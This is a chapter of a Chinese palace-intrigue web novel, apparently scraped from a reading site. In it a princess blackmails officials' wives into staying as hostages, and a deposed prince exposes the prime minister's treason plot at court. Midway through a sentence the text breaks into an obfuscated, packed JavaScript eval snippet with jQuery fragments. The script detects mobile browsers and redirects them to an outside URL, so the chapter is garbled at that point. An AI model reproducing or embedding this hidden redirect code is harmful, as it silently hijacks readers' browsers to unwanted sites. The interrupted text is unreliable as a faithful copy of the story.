79.第 79 章

作品:《穿书后,废太子他总在崩人设

    等夫人们拿到礼盒,这才发现每个盒子底部都贴着自家老爷的名字,一看就是王妃专门针对各家精心准备的,着实花了心思。


    盒子本身很重,凭手感很难猜测里面会是金的、还是玉的,抑或只是一瓶美容乳膏。夫人们拿在手上掂量几下,却没人好意思当面打开查看。


    洛鸢重新坐回位子,啜了口茶,眼神骤冷:“既然礼物都拿到了,不妨打开看看吧。”


    夫人们客套地推脱着,直到有人不小心将盒子摔在地上,掉出一个折好的千纸鹤。她赶忙打开,然后尖叫出声......


    其他人脸色一白,赶忙查看自己那份......


    片刻后,夫人们面色煞白,一个个像霜打的茄子,又惊又惧。


    洛鸢默默观察众人的反应,心里暗暗得意,故作和气道:“嫂嫂们,时辰不早了,既然你们都有事要忙,那妾身便不留了......”


    但事实与洛鸢预料的一样。


    敢走?不存在的。因为与千纸鹤一同送去的,是她们自家老爷的致命把柄。还有一句小小的、贴心的忠告:谁若敢离开,次日便让他们老爷身败名裂,让他们阖府抄家灭族。


    不过都是一些深宅妇人......哪经得起这般吓唬。


    这些贤妻良母们为了自家老爷的前程,只得硬着头皮留下来,甚至连话再也不敢多言一句。


    洛鸢淡淡一笑:“在座诸位选择留下,令我十分佩服。你们此举自然是为了夫君和家人考虑,不瞒你们说,妾身这样做,实则也是出于无奈。”


    “但我可以向你们保证,我绝对不会伤你们一分一毫。待明日正午,我自然会将你们安然无恙地送回家去。今日,便委屈诸位嫂嫂安生地留在此处,洛鸢事后必有重谢。”


    夫人们满脸都是掩盖不住的忐忑,有人带着哭腔大胆确认。


    “王妃,您此话当真吗?千万别哄骗我们啊......妾身膝下一儿一女尚且年幼,他们不能没有娘亲......”


    洛鸢深呼吸,耐着性子应声:“千真万确。我保证你们不会受到任何伤害。如打诳语,天打雷劈!”


    她果真举起右手,端出立誓的样子,看起来无比真诚。


    *


    勤政殿,早朝。


    排队进殿时,梁王便觉得今日的气氛有些诡异,大约近二十位大臣的脸上都呈现出一片相同的死寂。


    他们各个脸色难看,眉头紧锁,浑身紧紧绷着,似乎有剪不断的心事。梁王拦下几位好奇问问,但无一例外都被敷衍过去了。


    梁王隐隐觉得不安,这种不安的感觉从未如此强烈,以至于他的胸口不由自主地憋闷起来。


    苏相缓缓踱步,面上倒是看不出任何异色。


    梁王靠近他,低声道:“舅舅,你是否觉得今日有些奇怪,本王总感觉有事发生。”


    苏相自顾自低头走路,沉声道:“殿下不必忧心。天大的事,有老夫为你顶着。”


    见舅舅语气如此笃定,梁王停顿片刻,渐渐放宽心,继而识相地抬手搀扶一下苏相,温声道:“舅舅,小心台阶......”


    大殿之上,一片死气。


    夏日的燥热已经褪去,秋日初见端倪,殿外那棵古老的梧桐树变成了金灿灿的黄色。一阵风吹过,不时有叶片扑簌、扑簌地掉落。


    起风了。


    陛下一脸疲惫地上朝,一连打了好几个哈欠,眼圈泛着淡淡的乌青。他最近这些日子格外颓废,据说时常日夜笙箫,甚至还动了选秀的心思。


    说来,陛下多年未曾选秀了。


    但在选秀之前,他想先立后,丽贵妃便是陛下第一心仪的人选。


    朝堂之上一片沉寂。


    自先皇后去世,后位一直空置,就算臣子多次建议陛下立后,都被他拒绝。如今陛下突然提起这茬......是否预示着,梁王很快会被立为太子?


    看来陛下对梁王是极宠爱的......哪怕他前段时间多次惹陛下不悦,都未能减轻在陛下心中的份量。


    陛下拖着长腔,语气慵懒:“诸位爱卿觉得如何啊?丽贵妃年轻时便跟着朕,为朕养育子女,管理后宫,没有功劳也有苦劳......”


    梁王和苏相事先对陛下打算立后一事毫不知情,此时互相对望,内心被巨大的惊喜填满。梁王自早朝前便布满阴霾的脸色瞬间明亮起来。


    他静静望向周围,笑嘻嘻等着其他臣子附和。


    然而出乎意料的是,众臣眉头紧蹙,看起来并无半点顺水推舟的意思。


    许久后,有大臣出列,面色凝重:“陛下,受前段时间干旱影响,如今朝内多地粮食欠收,百姓闹了饥荒,不少流民四散流落至各地,打架斗殴、抢夺粮食的事情屡见不鲜,已经对大胤的稳定造成了不小的影响。地方官员多次上疏皆不见朝廷回应......”


    “袁州刺史被逼无奈将奏折直接递到了老臣这儿,该如何解决饥荒问题、以及如何安置这些流民,还请陛下做出决断。”


    陛下听得有些懵,像是灵魂出窍神游去了一样,半晌后才呆愣地回了回神,神思恍惚:“哦。粮荒啊?卖他们点粮食不就行了。”


    大臣言辞激烈:“各地粮库均较为紧张,且粮价水涨船高,原本每石粮食只需5到8钱银子,可如今不少地方已经疯长到了每石4-7两白银,一般老百姓根本消费不起啊!”


    陛下神情慵懒:“那就朝廷出面,给他们发一些救济粮。”


    大臣表情无奈:“国库的存粮也不多了......”


    陛下变得越发不耐烦,他捏了捏印堂,语气烦躁:“那就各地协调一下,互相调用一下粮食,先救救急,等来年丰收后再还回去便是!这种小事也要让朕操心,朕不会累吗!”


    大臣无语,其他臣子也各个面色铁青。


    梁王见状赶紧打圆场:“父皇,您一定要多注意休息啊,千万不可太过劳累。”


    然后转头望向那位大臣,面露不悦:“陛下方才明明在问诸位对于立后的意见,你偏偏这时拿这些事来烦他老人家,你也太不懂事了。”


    陛下见缝插针,抬了抬眼:“哦,将丽贵妃封为皇后一事,你们谁有不同意见啊?若没有的话,朕便命翰林院拟定立后诏书了......”


    此刻朝堂上的梁王党、中立派、以及少量隐藏款镇国公党都感觉到了隐隐的担忧。一旦丽贵妃被立为皇后,那意味着苏相和梁王今后的权势将更上一层。


    没有制衡的权力,便是压迫。哪怕是梁王的舔狗,也不想夺储的天平一直朝梁王倾斜下去。


    陛下拍下桌子:“你们......都没有意见是吧?”


    “陛下——”


    正当殿内气氛冰如寒窟时,大殿外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071566|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    突然传来一声清冽悠长的呐喊,萧烬双手捧着一个木盒,面色凝重地走上大殿。


    梁王脸色骤变,冲萧烬怒斥:“胡闹,此刻正值早朝,众臣所议之事皆为绝密,谁允许你一个罪臣私闯大殿的!”


    萧烬抬眼剜他,眼底露出讳莫如深的笑。


    “梁王殿下,请注意你的措辞。站在你面前的,从来都不是什么罪臣,以前是太子,而如今,则是陛下亲封的宏、德、王——”


    最后几个字,萧烬故意加重语调。


    “你......”梁王被气得一噎,然而很快稳定好情绪,低声质问,“你来做什么?”


    萧烬却径直越过他,直接走到大殿中央。


    此时,殿内的气氛变得更加怪异,每个人脸上的表情都值得玩味,有人兴奋、有人紧张、也有人像是即将上战场的胆小士兵,正在浑身一层又一层地冒着冷汗。


    陛下抬眼瞄了下他,语气平静:“宏德王,你可知私闯大殿乃是重罪。”


    一旁的梁王嘴角噙笑,等着陛下对他的发落。


    萧烬声音愈发镇定:“儿臣明白。但儿臣今日有事要奏。”


    陛下眉眼一挑:“何事啊?非要搞得这般兴师动众。朕累了,你快些禀奏。”


    萧烬转身环视一遍大臣,然后视线直直盯向陛下,语气铿锵有力:“儿臣今日来,是请求陛下重新调查镇国公与......儿臣意图谋逆一案!”


    宝座上的人,脸色瞬间变成了铁青,怒吼:“萧烬,你在胡说八道什么!”


    萧烬不慌不忙:“诸位同僚,我手里有当初苏相与军内叛将祁副将亲笔往来的书信。还有时任江州知府张好好亲笔写下并签字画押的认罪书。各位可以互相传阅一下。”


    此话一出,满堂震惊。


    苏相一个踉跄,差点没跌到地上。梁王脸色骤变,赶忙大喊:“一定是假的。诸位不要相信,这是萧烬伪造了来哄骗大家的。”


    大理寺卿郑朴树主动接过萧烬手里的铁证,浑身颤抖地扫了一遍,声音激动:“没错!这确实是苏相的笔迹!太过分了,实在太过分了!苏相怎可......没想到张大人也是同谋,真乃......”


    “哎!”他重重跺了下脚。


    原本众人还在犹豫要不要看,见郑大人如此惊怒,再也抑制不住好奇,纷纷抢着传阅起来。


    梁王眼见着慌了,他赶忙哀求陛下:“父皇,舅舅是被冤枉的,舅舅一定是被冤枉的!您千万不可听信萧烬一面之词。”


    “舅舅从来没写过什么书信,这都是他伪造的!萧烬不甘心被废掉太子之位,一定处心积虑想害我们许久了!”


    苏相一向沉着,但在铁证面前,他很快没了底气,此刻只觉得双腿发软,一个劲儿地直打转。


    此时,陛下也正被巨大的怒意笼罩着。


    他之前明明警告过萧烬,不可再提起翻案一事。但却没想到萧烬竟敢忤逆他,直接闹到了朝堂上!


    更加令他没想到的是,萧烬手里早已掌握了证据!怪不得前些日子,他敢贸然跑去避暑山庄提起翻案一事......


    陛下感觉自己被萧烬耍得团团转。


    他一遍遍翻阅手里的东西,一个是苏相与祁副将密谋的书信,一个是张好好的认罪书,不由气得血液翻涌。


    太不小心了!做事太不小心了!一帮废物!